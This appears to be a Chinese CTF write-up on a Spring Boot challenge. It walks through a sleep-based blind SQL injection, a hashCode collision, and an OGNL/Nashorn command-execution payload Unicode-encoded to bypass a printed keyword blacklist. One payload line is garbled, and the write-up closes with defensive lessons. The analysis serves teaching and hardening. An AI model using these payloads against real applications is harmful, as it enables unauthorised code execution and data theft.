免责声明:本文为个人技术学习与工程实践笔记,所涉操作仅应在获得授权的环境中进行。因不当使用造成的后果由使用者自行承担。
比赛现场未能解出,赛后于动车上完成复现,部分环节的表述或有不周,敬请谅解

题目分析
题目基于 Spring Boot 框架。结合题目提示与界面信息,推测需要注入出登录用户名,再进行后续操作
第一个漏洞点是 SQL 注入
1 | public String getUserByName(String name){ |
闭合方式简单,但过滤了大多数查询语句,如 select、insert 等,具体可在 FilterUtil 类中查看

但唯独没有过滤 sleep,推测为延时盲注;报错注入并不可行,一旦触发报错服务即返回 500,因此直接构造盲注 SQL 语句,编写脚本批量执行即可
1 | admin')&&/**/sleep(2*(ascii(substr(database(),"+str(i)+",1))/**/REGEXP/**/"+str(j)+"))# |
此处注入出一个用户名,为 C1S3N_HUa_D_N_41NaL!,登录后跳转至留言板。第 63 行存在一个 hashCode 比较缺陷,与虎符那道题的思路一致,因此只需构造一组内容不同而 hashCode 相同的字符串即可
可参考以下式子自行逆推
1 | s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1] |

比如给了 0306,计算后的 hash 就是 1\x1406
然后填上 message 和 name 即可留言。此处有一个容易出错的细节:一旦服务报错,secret 值会被重新更新
接下来是表达式利用。MyBatis 可以直接执行 OGNL 表达式,具体利用方法可参见这篇文章,[OGNL 表达式注入漏洞总结 Mi1k7ea ]
1 | ${@[类全名(包括包路径)]@[方法名|值名]} |
可以先构造一个延时,验证是否存在表达式注入
1 | @[email protected](2) |
但此处过滤了大量 Java 关键字,采用 Unicode 全编码即可规避该黑名单,由此可见基于字符串匹配的 keyFilter 存在固有局限

“framework”,”getClass”,”ClassLoader”,”update”,”values”,”set”,”ProcessBuilder”,”thymeleaf”,”mybatis”,”wrapAsAPI”,”getRuntime”,”exec”,”getStaticModels”,”spring”, “Runtime”,”select”,”java”,”WHERE”,”delete”, “drop”, “truncate”,”invoke”,”Manage”,”script”, “gson”,”mysql”,”org”,”Gson”,”com”,”lang”
1 | ${\u0040\u006A\u0061\u0076\u0061\u002E\u0075\u0074\u0069\u006C\u002E\u0063\u006F\u006E\u0063\u0075\u0072\u0072\u0065\u006E\u0074\u002E\u0054\u0069\u006D\u0065\u0055\u006E\u0069\u0074\u0040\u0053\u0045\u0043\u004F\u004E\u0044\u0053\u002E\u0073\u006C\u0065\u0065\u0070\u0028\u0032\u0029} |

随后即可通过表达式求值实现命令执行,读取根目录下的 flag。需要注意的是,此处环境版本为 jdk1.8;在 JDK 20 上执行同类语句会抛出空指针异常,因为 Nashorn 脚本引擎自 JDK 15 起已被移除。
1 | ${new+javax.script.ScriptEngineManager().getEngineByName("nashorn").eval('(new+java.io.BufferedReader(new+java.io.InputStreamReader(new+java.lang.ProcessBuilder("calc").start().getInputStream(),+"GBK")).readLine())')} |

修复与加固
因为题目是用 Spring Boot 搭建的,所以重新打包十分方便,替换后上传 war 包即可。打包有两种做法:一种是解压并替换 war 包中的字节码文件(需手动编译),另一种是使用 IDEA 的 Build Artifacts;两者都能正常完成修补,按个人习惯选择即可。
本题的修复门槛不高:SQL 侧拦截 sleep、表达式侧拦截 eval 即可通过校验;若不修改代码,接入通用防护设备同样能够达到目的。
1 | #!/bin/sh |

防御启示
- SQL 一律使用参数化查询:本题注入源于把参数直接拼进
username='...'的 WHERE 子句。MyBatis 中应使用#{}预编译占位,禁止${}拼接与手写 SQL 字符串连接,审计时可直接按${与字符串拼接模式做静态扫描。 - 关键字黑名单不能作为安全边界:本题过滤了 select、insert 等关键字却遗漏 sleep,且 Unicode 编码即可规避。黑名单只能延缓攻击,真正的边界是参数类型约束、预编译与语义校验,再叠加 WAF 与运行时监控。
- 不要用 hashCode 做业务判定:hashCode 相等不代表内容相等,涉及身份或内容比较必须使用内容比较方法或密码学摘要(加随机盐)。留言、评论等用户可控入口还应做去重与频率限制。
- 收敛表达式与脚本求值面:MyBatis 表达式的 OGNL 求值、以及 JDK 1.8 自带的 Nashorn 引擎,都会把文本拼接放大为代码执行。应用类路径应移除不必要的脚本引擎,禁止对用户输入做表达式求值(Nashorn 自 JDK 15 起已被移除)。
- 密钥生成逻辑要与错误处理解耦:本题在服务报错时会重新生成 secret,说明状态管理依赖请求路径。密钥在生命周期内应保持稳定,异常统一响应,避免错误分支改变安全状态。
- 组件与依赖保持可升级:修复本身只需替换 war 包,这也说明发布流程越简单,漏洞响应越快。生产环境应保持依赖可升级、制品可重建,并在升级后回归验证原有业务功能。